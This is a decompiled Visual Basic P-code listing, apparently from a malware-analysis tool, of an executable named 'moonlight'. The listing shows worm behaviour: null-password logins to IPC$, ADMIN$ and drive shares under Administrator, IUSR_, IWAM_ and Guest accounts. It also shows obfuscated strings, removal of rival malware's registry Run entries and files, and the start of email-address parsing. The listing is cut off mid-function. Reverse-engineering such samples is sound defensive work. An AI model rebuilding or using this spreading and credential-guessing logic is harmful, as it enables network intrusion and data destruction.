Similarity

File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe

Function:

00412174
00412174fn_412174:
00412174LargeBos 2
00412176LargeBos 5
00412178OnErrorGoto 65535
0041217bLargeBos 10
0041217dLitI4 -1
00412182FStR4 65392
00412185LargeBos 38
00412187FLdRfVar var_8C
0041218aILdRf arg_C
0041218dLitI4 0
00412192LitI4 0
00412197LitI4 2
0041219cImpAdCallI2 fn_407df4, 20
004121a1FStR4 65352
004121a4SetLastSystemError
004121a5ILdRf var_B8
004121a8FStR4 65400
004121abLargeBos 24
004121adILdRf var_88
004121b0LitI4 0
004121b5EqI4
004121b6ILdRf var_8C
004121b9LitI4 0
004121beNeI4
004121bfAndI4
004121c0BranchF 0x412668
004121c3LargeBos 40
004121c5LitI4 16384
004121caPopTmpLdAdStr 65352
004121cdLitI4 0
004121d2FLdRfVar var_B0
004121d5Ary1LdRf
004121d6FLdRfVar var_90
004121d9ILdRf var_8C
004121dcImpAdCallI2 fn_407e40, 16
004121e1FStR4 65348
004121e4SetLastSystemError
004121e5ILdRf var_BC
004121e8FStR4 65400
004121ebLargeBos 14
004121edILdRf var_88
004121f0LitI4 0
004121f5EqI4
004121f6BranchF 0x412650
004121f9LargeBos 23
004121fbLitI2_Byte 0
004121fdFLdRfVar var_92
00412200ILdRf var_90
00412203LitI4 1
00412208SubI4
00412209CI2I4
0041220aForI2 65344, 1241
00412210LargeBos 21
00412212FLdI2 var_92
00412215CI4UI1
00412216FLdRfVar var_B0
00412219Ary1LdPr
0041221aMemLdRfVar 20
0041221dImpAdCallI2 pool#8, 4
00412222FStStr var_98
00412225LargeBos 13
00412227FLdRfVar var_98
0041222aImpAdCallI2 pool#9, 4
0041222fFStStr var_98
00412232LargeBos 64
00412234FLdI2 var_92
00412237CI4UI1
00412238FLdRfVar var_B0
0041223bAry1LdPr
0041223cMemLdRfVar 20
0041223fImpAdCallI2 pool#8, 4
00412244FStStr var_104
00412247LitI4 2
0041224cFLdZeroAd var_104
0041224fCVarStr var_D0
00412252FLdRfVar var_E0
00412255ImpAdCallFPR4 rtcLeftCharVar, 12
0041225aFLdRfVar var_E0
0041225dLitVarStr var_F0, "\\\\"
00412262HardType
00412263EqVarBool
00412265FFree1Str var_104
00412268FFreeVar var_D0, var_E0
0041226fBranchF 0x412607
00412272LargeBos 49
00412274LitVar_Missing var_134
00412277LitVar_Missing var_100
0041227aLitVar_Missing var_E0
0041227dFLdI2 var_92
00412280CI4UI1
00412281FLdRfVar var_B0
00412284Ary1LdPr
00412285MemLdRfVar 20
00412288ImpAdCallI2 pool#8, 4
0041228dCVarStr var_D0
00412290ILdPr 20
00412293VCallHresult 32, 2
00412298FFreeVar var_D0, var_E0, var_100, var_134
004122a3LargeBos 22
004122a5FLdI2 var_92
004122a8CI4UI1
004122a9FLdRfVar var_B0
004122acAry1LdPr
004122adMemLdStr arg_8
004122b0LitI4 2
004122b5EqI4
004122b6BranchF 0x412605
004122b9LargeBos 38
004122bbFLdI2 var_92
004122beCI4UI1
004122bfFLdRfVar var_B0
004122c2Ary1LdPr
004122c3MemLdRfVar 20
004122c6ImpAdCallI2 pool#8, 4
004122cbFStStrNoPop var_104
004122ceLitStr "\\IPC$"
004122d1ConcatStr
004122d2FStStrNoPop var_158
004122d5FStStrCopy var_140
004122d8FFreeStr var_104, var_158
004122dfLargeBos 67
004122e1LitI4 1
004122e6LitStr "Administrator"
004122e9FLdRfVar var_158
004122ecCStr2Ansi
004122edILdRf var_158
004122f0LitStr ""
004122f3FLdRfVar var_104
004122f6CStr2Ansi
004122f7ILdRf var_104
004122faFLdRfVar var_154
004122fdFLdRfVar var_178
00412300CRec2Ansi 17
00412303FLdRfVar var_178
00412306ImpAdCallFPR4 fn_407f5c, 16
0041230bSetLastSystemError
0041230cFLdRfVar var_178
0041230fFLdRfVar var_154
00412312CRec2Uni 17
00412315FFreeStr var_104, var_158
0041231cDestructAnsiOFrame 65160, 17
00412322LargeBos 146
00412324FLdI2 var_92
00412327CI4UI1
00412328FLdRfVar var_B0
0041232bAry1LdPr
0041232cMemLdRfVar 20
0041232fImpAdCallI2 pool#8, 4
00412334FStStr var_1A4
00412337LitI4 0
0041233cLitI4 -1
00412341LitI4 1
00412346LitStr ""
00412349LitStr "\\"
0041234cFLdZeroAd var_1A4
0041234fFStStrNoPop var_104
00412352ImpAdCallI2 rtcReplace, 24
00412357CVarStr var_D0
0041235aFLdRfVar var_E0
0041235dImpAdCallFPR4 rtcLowerCaseVar, 8
00412362LitI4 1
00412367LitStr "Administrator"
0041236aFLdRfVar var_1A0
0041236dCStr2Ansi
0041236eILdRf var_1A0
00412371FLdRfVar var_E0
00412374CStrVarVal 65192
00412378FLdRfVar var_19C
0041237bCStr2Ansi
0041237cILdRf var_19C
0041237fFLdRfVar var_154
00412382FLdRfVar var_198
00412385CRec2Ansi 17
00412388FLdRfVar var_198
0041238bImpAdCallFPR4 fn_407f5c, 16
00412390SetLastSystemError
00412391FLdRfVar var_198
00412394FLdRfVar var_154
00412397CRec2Uni 17
0041239aFFreeStr var_104, var_158, var_19C, var_1A0, var_1A4
004123a7FFreeVar var_D0, var_E0
004123aeDestructAnsiOFrame 65128, 17
004123b4LargeBos 141
004123b6FLdI2 var_92
004123b9CI4UI1
004123baFLdRfVar var_B0
004123bdAry1LdPr
004123beMemLdRfVar 20
004123c1ImpAdCallI2 pool#8, 4
004123c6FStStr var_1C8
004123c9LitI4 0
004123ceLitI4 -1
004123d3LitI4 1
004123d8LitStr ""
004123dbLitStr "\\"
004123deFLdZeroAd var_1C8
004123e1FStStrNoPop var_104
004123e4ImpAdCallI2 rtcReplace, 24
004123e9FStStr var_1CC
004123ecLitI4 1
004123f1LitStr "IWAM_"
004123f4FLdZeroAd var_1CC
004123f7FStStrNoPop var_158
004123faConcatStr
004123fbFStStrNoPop var_1A0
004123feFLdRfVar var_1A4
00412401CStr2Ansi
00412402ILdRf var_1A4
00412405LitStr ""
00412408FLdRfVar var_19C
0041240bCStr2Ansi
0041240cILdRf var_19C
0041240fFLdRfVar var_154
00412412FLdRfVar var_1C4
00412415CRec2Ansi 17
00412418FLdRfVar var_1C4
0041241bImpAdCallFPR4 fn_407f5c, 16
00412420SetLastSystemError
00412421FLdRfVar var_1C4
00412424FLdRfVar var_154
00412427CRec2Uni 17
0041242aFFreeStr var_104, var_158, var_19C, var_1A0, var_1A4, var_1C8, var_1CC
0041243bDestructAnsiOFrame 65084, 17
00412441LargeBos 141
00412443FLdI2 var_92
00412446CI4UI1
00412447FLdRfVar var_B0
0041244aAry1LdPr
0041244bMemLdRfVar 20
0041244eImpAdCallI2 pool#8, 4
00412453FStStr var_1C8
00412456LitI4 0
0041245bLitI4 -1
00412460LitI4 1
00412465LitStr ""
00412468LitStr "\\"
0041246bFLdZeroAd var_1C8
0041246eFStStrNoPop var_104
00412471ImpAdCallI2 rtcReplace, 24
00412476FStStr var_1CC
00412479LitI4 1
0041247eLitStr "IUSR_"
00412481FLdZeroAd var_1CC
00412484FStStrNoPop var_158
00412487ConcatStr
00412488FStStrNoPop var_1A0
0041248bFLdRfVar var_1A4
0041248eCStr2Ansi
0041248fILdRf var_1A4
00412492LitStr ""
00412495FLdRfVar var_19C
00412498CStr2Ansi
00412499ILdRf var_19C
0041249cFLdRfVar var_154
0041249fFLdRfVar var_1EC
004124a2CRec2Ansi 17
004124a5FLdRfVar var_1EC
004124a8ImpAdCallFPR4 fn_407f5c, 16
004124adSetLastSystemError
004124aeFLdRfVar var_1EC
004124b1FLdRfVar var_154
004124b4CRec2Uni 17
004124b7FFreeStr var_104, var_158, var_19C, var_1A0, var_1A4, var_1C8, var_1CC
004124c8DestructAnsiOFrame 65044, 17
004124ceLargeBos 67
004124d0LitI4 1
004124d5LitStr "Guest"
004124d8FLdRfVar var_158
004124dbCStr2Ansi
004124dcILdRf var_158
004124dfLitStr ""
004124e2FLdRfVar var_104
004124e5CStr2Ansi
004124e6ILdRf var_104
004124e9FLdRfVar var_154
004124ecFLdRfVar var_20C
004124efCRec2Ansi 17
004124f2FLdRfVar var_20C
004124f5ImpAdCallFPR4 fn_407f5c, 16
004124faSetLastSystemError
004124fbFLdRfVar var_20C
004124feFLdRfVar var_154
00412501CRec2Uni 17
00412504FFreeStr var_104, var_158
0041250bDestructAnsiOFrame 65012, 17
00412511LargeBos 67
00412513LitI4 1
00412518LitStr ""
0041251bFLdRfVar var_158
0041251eCStr2Ansi
0041251fILdRf var_158
00412522LitStr ""
00412525FLdRfVar var_104
00412528CStr2Ansi
00412529ILdRf var_104
0041252cFLdRfVar var_154
0041252fFLdRfVar var_22C
00412532CRec2Ansi 17
00412535FLdRfVar var_22C
00412538ImpAdCallFPR4 fn_407f5c, 16
0041253dSetLastSystemError
0041253eFLdRfVar var_22C
00412541FLdRfVar var_154
00412544CRec2Uni 17
00412547FFreeStr var_104, var_158
0041254eDestructAnsiOFrame 64980, 17
00412554LargeBos 15
00412556LitI2_Byte 65
00412558FLdRfVar var_22E
0041255bLitI2_Byte 90
0041255dForI2 64974, 1110
00412563LargeBos 93
00412565LitVar_Missing var_274
00412568LitVar_Missing var_254
0041256bLitVar_Missing var_244
0041256eFLdI2 var_92
00412571CI4UI1
00412572FLdRfVar var_B0
00412575Ary1LdPr
00412576MemLdRfVar 20
00412579ImpAdCallI2 pool#8, 4
0041257eFStStrNoPop var_104
00412581LitStr "\\"
00412584ConcatStr
00412585CVarStr var_E0
00412588FLdI2 var_22E
0041258bCI4UI1
0041258cFLdRfVar var_D0
0041258fImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00412594FLdRfVar var_D0
00412597ConcatVar var_100
0041259bLitVarStr var_F0, "$"
004125a0ConcatVar var_134
004125a4ILdPr 20
004125a7VCallHresult 32, 2
004125acFFree1Str var_104
004125afFFreeVar var_E0, var_D0, var_100, var_134, var_244, var_254, var_274
004125c0LargeBos 10
004125c2FLdRfVar var_22E
004125c5NextI2 64974, 1007
004125caLargeBos 59
004125ccLitVar_Missing var_134
004125cfLitVar_Missing var_100
004125d2LitVar_Missing var_E0
004125d5FLdI2 var_92
004125d8CI4UI1
004125d9FLdRfVar var_B0
004125dcAry1LdPr
004125ddMemLdRfVar 20
004125e0ImpAdCallI2 pool#8, 4
004125e5FStStrNoPop var_104
004125e8LitStr "\\ADMIN$"
004125ebConcatStr
004125ecCVarStr var_D0
004125efILdPr 20
004125f2VCallHresult 32, 2
004125f7FFree1Str var_104
004125faFFreeVar var_D0, var_E0, var_100, var_134
00412605
00412605loc_412605:
00412605LargeBos 2
00412607
00412607loc_412607:
00412607LargeBos 2
00412609LargeBos 24
0041260bFLdI2 var_92
0041260eCI4UI1
0041260fFLdRfVar var_B0
00412612Ary1LdPr
00412613MemLdStr arg_C
00412616LitI4 2
0041261bAndI4
0041261cCBoolI4
0041261eBranchF 0x412641
00412621LargeBos 32
00412623ILdRf arg_14
00412626ILdI4 arg_10
00412629ILdRf var_98
0041262cConcatStr
0041262dPopTmpLdAdStr 65276
00412631FLdI2 var_92
00412634CI4UI1
00412635FLdRfVar var_B0
00412638Ary1LdRf
00412639ImpAdCallFPR4 pool#10, 12
0041263eFFree1Str var_104
00412641
00412641loc_412641:
00412641LargeBos 2
00412643LargeBos 10
00412645FLdRfVar var_92
00412648NextI2 65344, 156
0041264dBranch 0x412663
00412650
00412650loc_412650:
00412650LargeBos 14
00412652ILdRf var_88
00412655LitI4 259
0041265aEqI4
0041265bBranchF 0x412661
0041265eBranch 0x412663
00412661
00412661loc_412661:
00412661LargeBos 2
00412663
00412663loc_412663:
00412663LargeBos 2
00412665Branch 0x41266a
00412668
00412668loc_412668:
00412668LargeBos 2
0041266a
0041266aloc_41266a:
0041266aLargeBos 2
0041266cLargeBos 20
0041266eILdRf var_8C
00412671ImpAdCallI2 fn_407e88, 4
00412676FStR4 65352
00412679SetLastSystemError
0041267aILdRf var_B8
0041267dFStR4 65400
00412680LargeBos 0
00412682ExitProc
00412174

00412683
00412683 struct PCodePad
00412683 00 .
00412684
00412684 struct ProcDscInfo
00412684 lpObjectInfo uint32 0x403d58
00412688 wArgSize int 16
0041268a wFrameSize int 496
0041268c wPCodeBackOffset uint16 0x412174
0041268e wTotalSize uint16 0x0118
00412690 wProcOptFlags uint16 0x0000
00412692 wReserved uint16 0x0000
00412694 wBosSkipTableOff uint16 0x0000
00412696 wBaseIfaceSlot uint16 0x0013
00412698 wReserved2 uint16 0x0000
0041269a wReserved3 uint16 0x0000
0041269c
0041269c 00 01 00 00 ....
004126a0 01 00 09 00 00 00 00 10 88 fe 69 30 e4 aa ff ff ..........i0....
004126b0 f0 7b 40 00 00 00 00 00 ec 2e d2 02 51 00 03 00 .{@.........Q...
004126c0 00 00 00 00 68 fe 69 30 00 00 ff ff f0 7b 40 00 ....h.i0.....{@.
004126d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004126e0 3c fe 69 30 62 00 ff ff f0 7b 40 00 88 04 15 00 <.i0b....{@.....
004126f0 88 04 15 00 00 00 00 00 00 00 00 00 14 fe 69 30 ..............i0
00412700 00 00 ff ff f0 7b 40 00 00 00 00 00 08 2f d2 02 .....{@....../..
00412710 52 00 03 00 00 00 00 00 f4 fd 69 30 00 00 ff ff R.........i0....
00412720 f0 7b 40 00 10 9b d2 02 1a 00 0b 00 00 00 00 00 .{@.............
00412730 14 ab d1 02 d4 fd 69 30 00 00 ff ff f0 7b 40 00 ......i0.....{@.
00412740 53 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 S...............
00412750 68 ff 01 20 00 00 ff ff ac fe 69 20 00 00 ff ff h.. ......i ....
00412760 f0 7b 40 00 1b 00 0b 00 00 00 00 00 00 00 00 00 .{@.............
00412770 00 00 00 00 50 ff 05 20 2c 2f ff ff 09 20 03 00 ....P.. ,/... ..
00412780 00 00 00 00 01 00 12 00 20 00 00 00 00 00 00 00 ........ .......
00412790 00 00 00 00 00 02 00 00 00 00 00 00 44 00 00 00 ............D...
004127a0 00 00 0e 00 00 00 00 00 fc fe 01 00 a8 fe 01 00 ................
004127b0 64 fe 01 00 60 fe 01 00 5c fe 01 00 38 fe 01 00 d...`...\...8...
004127c0 34 fe 01 00 30 ff 02 00 20 ff 02 00 00 ff 02 00 4...0... .......
004127d0 cc fe 02 00 bc fd 02 00 ac fd 02 00 8c fd 02 00 ................

004127e0
004127e0FrmMain.KIllallVirri:
004127e0LargeBos 4
004127e2ZeroRetValVar
004127e4LargeBos 5
004127e6OnErrorGoto 65535
004127e9LargeBos 24
004127ebLitVarStr var_C4, "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fgU{|g"
004127f0FStVarCopyObj var_D4
004127f3FLdRfVar var_D4
004127f6ImpAdCallI2 pool#40, 4
004127fbFStStr var_AC
004127feFFree1Var var_D4
00412801SelectCaseByte 0
00412803LitI4 0
00412808LitI4 39
0041280dFLdRfVar var_218
00412810Redim 1, 0, 16, 2176
0041281aLitVarStr var_228, "avgnt"
0041281fLitI4 0
00412824ILdRf var_218
00412827Ary1StVarCopy
00412829LitVarStr var_238, "drv_st_key"
0041282eLitI4 1
00412833ILdRf var_218
00412836Ary1StVarCopy
00412838LitVarStr var_C4, "gf{dhgVshgmh"
0041283dFStVarCopyObj var_D4
00412840FLdRfVar var_D4
00412843ImpAdCallI2 pool#40, 4
00412848CVarStr var_248
0041284bParmAry1St 65000, 2
00412851LitVarStr var_E4, "gf{dhg)shgmh"
00412856FStVarCopyObj var_F4
00412859FLdRfVar var_F4
0041285cImpAdCallI2 pool#40, 4
00412861CVarStr var_258
00412864ParmAry1St 65000, 3
0041286aLitVarStr var_104, "DZDZN"
0041286fFStVarCopyObj var_114
00412872FLdRfVar var_114
00412875ImpAdCallI2 pool#40, 4
0041287aCVarStr var_268
0041287dParmAry1St 65000, 4
00412883LitVarStr var_124, "^f{m"
00412888FStVarCopyObj var_134
0041288bFLdRfVar var_134
0041288eImpAdCallI2 pool#40, 4
00412893CVarStr var_278
00412896ParmAry1St 65000, 5
0041289cLitVarStr var_144, "^`ghdy"
004128a1FStVarCopyObj var_154
004128a4FLdRfVar var_154
004128a7ImpAdCallI2 pool#40, 4
004128acCVarStr var_288
004128afParmAry1St 65000, 6
004128b5LitVarStr var_164, "M{`\x7fl{"
004128baFStVarCopyObj var_174
004128bdFLdRfVar var_174
004128c0ImpAdCallI2 pool#40, 4
004128c5CVarStr var_298
004128c8ParmAry1St 65000, 7
004128ceLitVarStr var_184, "^`g\\ymh}lZ|yl{\x7f`zf{"
004128d3FStVarCopyObj var_194
004128d6FLdRfVar var_194
004128d9ImpAdCallI2 pool#40, 4
004128deCVarStr var_2A8
004128e1ParmAry1St 65000, 8
004128e7LitVarStr var_1A4, "]hzb"
004128ecFStVarCopyObj var_1B4
004128efFLdRfVar var_1B4
004128f2ImpAdCallI2 pool#40, 4
004128f7CVarStr var_2B8
004128faParmAry1St 65000, 9
00412900LitVarStr var_1C4, "mhnf"
00412905FStVarCopyObj var_1D4
00412908FLdRfVar var_1D4
0041290bImpAdCallI2 pool#40, 4
00412910CVarStr var_2C8
00412913ParmAry1St 65000, 10
00412919LitVarStr var_1E4, "J|lQ==Vz}`eVal{l"
0041291eFStVarCopyObj var_1F4
00412921FLdRfVar var_1F4
00412924ImpAdCallI2 pool#40, 4
00412929CVarStr var_2D8
0041292cParmAry1St 65000, 11
00412932LitVarStr var_204, "H|}fZ|yl{\x7f`zf{"
00412937FStVarCopyObj var_214
0041293aFLdRfVar var_214
0041293dImpAdCallI2 pool#40, 4
00412942CVarStr var_2E8
00412945ParmAry1St 65000, 12
0041294bLitVarStr var_2F8, "SMA_nya_Artika"
00412950LitI4 13
00412955ILdRf var_218
00412958Ary1StVarCopy
0041295aLitVarStr var_308, "Putri_Indonesia"
0041295fLitI4 14
00412964ILdRf var_218
00412967Ary1StVarCopy
00412969LitVarStr var_318, "BabelPath"
0041296eLitI4 15
00412973ILdRf var_218
00412976Ary1StVarCopy
00412978LitVarStr var_328, "Alumni Smansa"
0041297dLitI4 16
00412982ILdRf var_218
00412985Ary1StVarCopy
00412987LitVarStr var_338, "ViriSetup"
0041298cLitI4 17
00412991ILdRf var_218
00412994Ary1StVarCopy
00412996LitVarStr var_348, "SMAN1_Pangkalpinang"
0041299bLitI4 18
004129a0ILdRf var_218
004129a3Ary1StVarCopy
004129a5LitVarStr var_358, "Putri_Bangka"
004129aaLitI4 19
004129afILdRf var_218
004129b2Ary1StVarCopy
004129b4LitVarStr var_368, "SysYuni"
004129b9LitI4 20
004129beILdRf var_218
004129c1Ary1StVarCopy
004129c3LitVarStr var_378, "SysDiaz"
004129c8LitI4 21
004129cdILdRf var_218
004129d0Ary1StVarCopy
004129d2LitVarStr var_388, "SysRia"
004129d7LitI4 22
004129dcILdRf var_218
004129dfAry1StVarCopy
004129e1LitVarStr var_398, "Pluto"
004129e6LitI4 23
004129ebILdRf var_218
004129eeAry1StVarCopy
004129f0LitVarStr var_3A8, "DllHost"
004129f5LitI4 24
004129faILdRf var_218
004129fdAry1StVarCopy
004129ffLitVarStr var_3B8, "SaTRio ADie X"
00412a04LitI4 25
00412a09ILdRf var_218
00412a0cAry1StVarCopy
00412a0eLitVarStr var_3C8, "Tok-Cirrhatus"
00412a13LitI4 26
00412a18ILdRf var_218
00412a1bAry1StVarCopy
00412a1dLitVarStr var_3D8, "AllMyBallance"
00412a22LitI4 27
00412a27ILdRf var_218
00412a2aAry1StVarCopy
00412a2cLitVarStr var_3E8, "MomentEverComes"
00412a31LitI4 28
00412a36ILdRf var_218
00412a39Ary1StVarCopy
00412a3bLitVarStr var_3F8, "TryingToSpeak"
00412a40LitI4 29
00412a45ILdRf var_218
00412a48Ary1StVarCopy
00412a4aLitVarStr var_408, "YourUnintended"
00412a4fLitI4 30
00412a54ILdRf var_218
00412a57Ary1StVarCopy
00412a59LitVarStr var_418, "YourUnintendes"
00412a5eLitI4 31
00412a63ILdRf var_218
00412a66Ary1StVarCopy
00412a68LitVarStr var_428, "lexplorer"
00412a6dLitI4 32
00412a72ILdRf var_218
00412a75Ary1StVarCopy
00412a77LitVarStr var_438, "dkernel"
00412a7cLitI4 33
00412a81ILdRf var_218
00412a84Ary1StVarCopy
00412a86LitVarStr var_448, "Bron-Spizaetus"
00412a8bLitI4 34
00412a90ILdRf var_218
00412a93Ary1StVarCopy
00412a95LitVarStr var_458, "ADie suka kamu"
00412a9aLitI4 35
00412a9fILdRf var_218
00412aa2Ary1StVarCopy
00412aa4LitVarStr var_468, "winfix"
00412aa9LitI4 36
00412aaeILdRf var_218
00412ab1Ary1StVarCopy
00412ab3LitVarStr var_478, "templog"
00412ab8LitI4 37
00412abdILdRf var_218
00412ac0Ary1StVarCopy
00412ac2LitVarStr var_488, "service"
00412ac7LitI4 38
00412accILdRf var_218
00412acfAry1StVarCopy
00412ad1LitVarStr var_498, "Grogotix"
00412ad6LitI4 39
00412adbILdRf var_218
00412adeAry1StVarCopy
00412ae0FLdRfVar var_218
00412ae3FLdRfVar var_4A8
00412ae6ImpAdCallFPR4 rtcArray, 8
00412aebFLdRfVar var_218
00412aeeErase
00412aefFLdRfVar var_4A8
00412af2FStVar 65368
00412af6FFreeVar var_D4, var_F4, var_114, var_134, var_154, var_174, var_194, var_1B4, var_1D4, var_1F4, var_214
00412b0fLargeBos 24
00412b11LitI2_Byte 0
00412b13FLdRfVar var_96
00412b16FLdRfVar var_A8
00412b19CRefVarAry
00412b1bPopAdLd4
00412b1cLitI2_Byte 1
00412b1eFnUBound
00412b20CI2I4
00412b21ForI2 64340, 1111
00412b27LargeBos 55
00412b29FLdRfVar var_96
00412b2cCDargRef 16386
00412b30FLdRfVar var_A8
00412b33VarIndexLdVar 65324, 1
00412b39CStrVarVal 64336
00412b3dILdRf var_AC
00412b40LitI4 0xffffffff80000001
00412b45FLdRfVar var_F4
00412b48ImpAdCallFPR4 pool#154, 16
00412b4dFLdRfVar var_F4
00412b50CStrVarTmp
00412b51FStStr var_B0
00412b54FFree1Str var_4B0
00412b57FFreeVar var_D4, var_F4
00412b5eLargeBos 13
00412b60ILdRf var_B0
00412b63LitStr ""
00412b66NeStr
00412b68BranchF 0x412b7a
00412b6bLargeBos 15
00412b6dFLdRfVar var_B0
00412b70CVarRef 65340, 16392
00412b75ImpAdCallFPR4 rtcKillFiles, 4
00412b7a
00412b7aloc_412b7a:
00412b7aLargeBos 55
00412b7cFLdRfVar var_96
00412b7fCDargRef 16386
00412b83FLdRfVar var_A8
00412b86VarIndexLdVar 65324, 1
00412b8cCStrVarVal 64336
00412b90ILdRf var_AC
00412b93LitI4 0xffffffff80000002
00412b98FLdRfVar var_F4
00412b9bImpAdCallFPR4 pool#154, 16
00412ba0FLdRfVar var_F4
00412ba3CStrVarTmp
00412ba4FStStr var_B4
00412ba7FFree1Str var_4B0
00412baaFFreeVar var_D4, var_F4
00412bb1LargeBos 13
00412bb3ILdRf var_B4
00412bb6LitStr ""
00412bb9NeStr
00412bbbBranchF 0x412bcd
00412bbeLargeBos 15
00412bc0FLdRfVar var_B4
00412bc3CVarRef 65340, 16392
00412bc8ImpAdCallFPR4 rtcKillFiles, 4
00412bcd
00412bcdloc_412bcd:
00412bcdLargeBos 48
00412bcfFLdRfVar var_96
00412bd2CDargRef 16386
00412bd6FLdRfVar var_A8
00412bd9VarIndexLdVar 65324, 1
00412bdfCStrVarVal 64336
00412be3ILdRf var_AC
00412be6LitI4 0xffffffff80000001
00412bebFLdRfVar var_F4
00412beeImpAdCallFPR4 pool#156, 16
00412bf3FFree1Str var_4B0
00412bf6FFreeVar var_D4, var_F4
00412bfdLargeBos 48
00412bffFLdRfVar var_96
00412c02CDargRef 16386
00412c06FLdRfVar var_A8
00412c09VarIndexLdVar 65324, 1
00412c0fCStrVarVal 64336
00412c13ILdRf var_AC
00412c16LitI4 0xffffffff80000002
00412c1bFLdRfVar var_F4
00412c1eImpAdCallFPR4 pool#156, 16
00412c23FFree1Str var_4B0
00412c26FFreeVar var_D4, var_F4
00412c2dLargeBos 10
00412c2fFLdRfVar var_96
00412c32NextI2 64340, 839
00412c37SelectCaseByte 1
00412c39LitI4 0
00412c3eLitI4 11
00412c43FLdRfVar var_218
00412c46Redim 1, 0, 16, 2176
00412c50LitVarI4 65324, 0, 0
00412c58ImpAdCallI2 pool#41, 4
00412c5dFStStrNoPop var_4B0
00412c60LitStr "\\windows*"
00412c63ConcatStr
00412c64CVarStr var_258
00412c67ParmAry1St 65000, 0
00412c6dImpAdLdRf pool#12
00412c70LitVarStr var_E4, "\\ShellNew\\*.exe"
00412c75ConcatVar var_F4
00412c79ParmAry1St 65000, 1
00412c7fImpAdLdRf pool#48
00412c82LitVarStr var_104, "\\*.exe"
00412c87ConcatVar var_114
00412c8bParmAry1St 65000, 2
00412c91ImpAdLdRf pool#45
00412c94LitVarStr var_124, "\\*.vbs"
00412c99ConcatVar var_134
00412c9dParmAry1St 65000, 3
00412ca3ImpAdLdRf pool#45
00412ca6LitVarStr var_144, "\\*.exe"
00412cabConcatVar var_154
00412cafParmAry1St 65000, 4
00412cb5ImpAdLdRf pool#12
00412cb8LitVarStr var_164, "\\MyHeart.exe"
00412cbdConcatVar var_174
00412cc1ParmAry1St 65000, 5
00412cc7ImpAdLdRf pool#12
00412ccaLitVarStr var_184, "\\KesenjanganSosial.exe"
00412ccfConcatVar var_194
00412cd3ParmAry1St 65000, 6
00412cd9ImpAdLdRf pool#12
00412cdcLitVarStr var_1A4, "\\FirstLove.exe*"
00412ce1ConcatVar var_1B4
00412ce5ParmAry1St 65000, 7
00412cebImpAdLdRf pool#12
00412ceeLitVarStr var_1C4, "\\eksplorasi*"
00412cf3ConcatVar var_1D4
00412cf7ParmAry1St 65000, 8
00412cfdImpAdLdRf pool#12
00412d00LitVarStr var_1E4, "\\CintaButa*"
00412d05ConcatVar var_1F4
00412d09ParmAry1St 65000, 9
00412d0fImpAdLdRf pool#43
00412d12LitVarStr var_204, "\\*.pif"
00412d17ConcatVar var_214
00412d1bParmAry1St 65000, 10
00412d21ImpAdLdRf pool#43
00412d24LitVarStr var_228, "\\Romantic*"
00412d29ConcatVar var_248
00412d2dParmAry1St 65000, 11
00412d33FLdRfVar var_218
00412d36FLdRfVar var_268
00412d39ImpAdCallFPR4 rtcArray, 8
00412d3eFLdRfVar var_218
00412d41Erase
00412d42FLdRfVar var_268
00412d45FStVar 64320
00412d49FFree1Str var_4B0
00412d4cFFree1Var var_D4
00412d4fLargeBos 24
00412d51LitI2_Byte 0
00412d53FLdRfVar var_98
00412d56FLdRfVar var_4C0
00412d59CRefVarAry
00412d5bPopAdLd4
00412d5cLitI2_Byte 1
00412d5eFnUBound
00412d60CI2I4
00412d61ForI2 64316, 1456
00412d67LargeBos 31
00412d69FLdRfVar var_98
00412d6cCDargRef 16386
00412d70FLdRfVar var_4C0
00412d73VarIndexLdRfVarLock 65324, 64312, 1
00412d7bImpAdCallFPR4 rtcKillFiles, 4
00412d80AryUnlock 64312
00412d83FFree1Var var_D4
00412d86LargeBos 10
00412d88FLdRfVar var_98
00412d8bNextI2 64316, 1415
00412d90LargeBos 0
00412d92ExitProcCbHresult 0x10000c
004127e0

00412d98
00412d98 struct ProcDscInfo
00412d98 lpObjectInfo uint32 0x405168
00412d9c wArgSize int 8
00412d9e wFrameSize int 1092
00412da0 wPCodeBackOffset uint16 0x4127e0
00412da2 wTotalSize uint16 0x003c
00412da4 wProcOptFlags uint16 0x0000
00412da6 wReserved uint16 0x0000
00412da8 wBosSkipTableOff uint16 0x00b6
00412daa wBaseIfaceSlot uint16 0x0013
00412dac wReserved2 uint16 0x0000
00412dae wReserved3 uint16 0x0000
00412db0
00412db0 24 00 00 00 00 00 06 00 00 00 00 01 6c ff 02 00 $...........l...
00412dc0 54 ff 01 00 40 fb 02 00 58 ff 02 00 4c ff 01 00 T...@...X...L...
00412dd0 50 ff 01 00 7a 00 00 00 00 00 1a 00 00 00 00 00 P...z...........
00412de0 38 fb 06 00 50 fb 01 00 2c ff 02 00 0c ff 02 00 8...P...,.......
00412df0 ec fe 02 00 cc fe 02 00 ac fe 02 00 8c fe 02 00 ................
00412e00 6c fe 02 00 4c fe 02 00 2c fe 02 00 0c fe 02 00 l...L...,.......
00412e10 ec fd 02 00 b8 fd 02 00 a8 fd 02 00 98 fd 02 00 ................
00412e20 88 fd 02 00 78 fd 02 00 68 fd 02 00 58 fd 02 00 ....x...h...X...
00412e30 48 fd 02 00 38 fd 02 00 28 fd 02 00 18 fd 02 00 H...8...(.......
00412e40 58 fb 02 00 e8 fd 05 01 00 00 00 00 02 00 02 00 X...............
00412e50 0e 03 18 01 ....

00412e54
00412e54fn_412e54:
00412e54LitVarI2 65240, 1
00412e59FStVar 65388
00412e5dLitVarStr var_128, "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._"
00412e62FStVarCopy 65276
00412e66FLdRfVar var_94
00412e69CI4Var
00412e6bILdRfDarg 12, 65224
00412e71LitVarStr var_128, "@"
00412e76LitI4 1
00412e7bFnInStr4Var 65208
00412e7fFStVar 65388
00412e83FLdRfVar var_94
00412e86LitVarI2 65240, 0
00412e8bHardType
00412e8cNeVarBool
00412e8eBranchF 0x4132ac
00412e91FLdRfVar var_94
00412e94FStVarCopy 65372
00412e98
00412e98loc_412e98:
00412e98FLdRfVar var_A4
00412e9bLitVarI2 65240, 1
00412ea0HardType
00412ea1EqVarBool
00412ea3NotI4
00412ea4BranchF 0x412ee8
00412ea7ImpAdCallFPR4 rtcDoEvents, 0
00412eacImpAdCallFPR4 rtcDoEvents, 0
00412eb1FLdRfVar var_A4
00412eb4LitVarI2 65240, 1
00412eb9SubVar 65208
00412ebdFStVar 65372
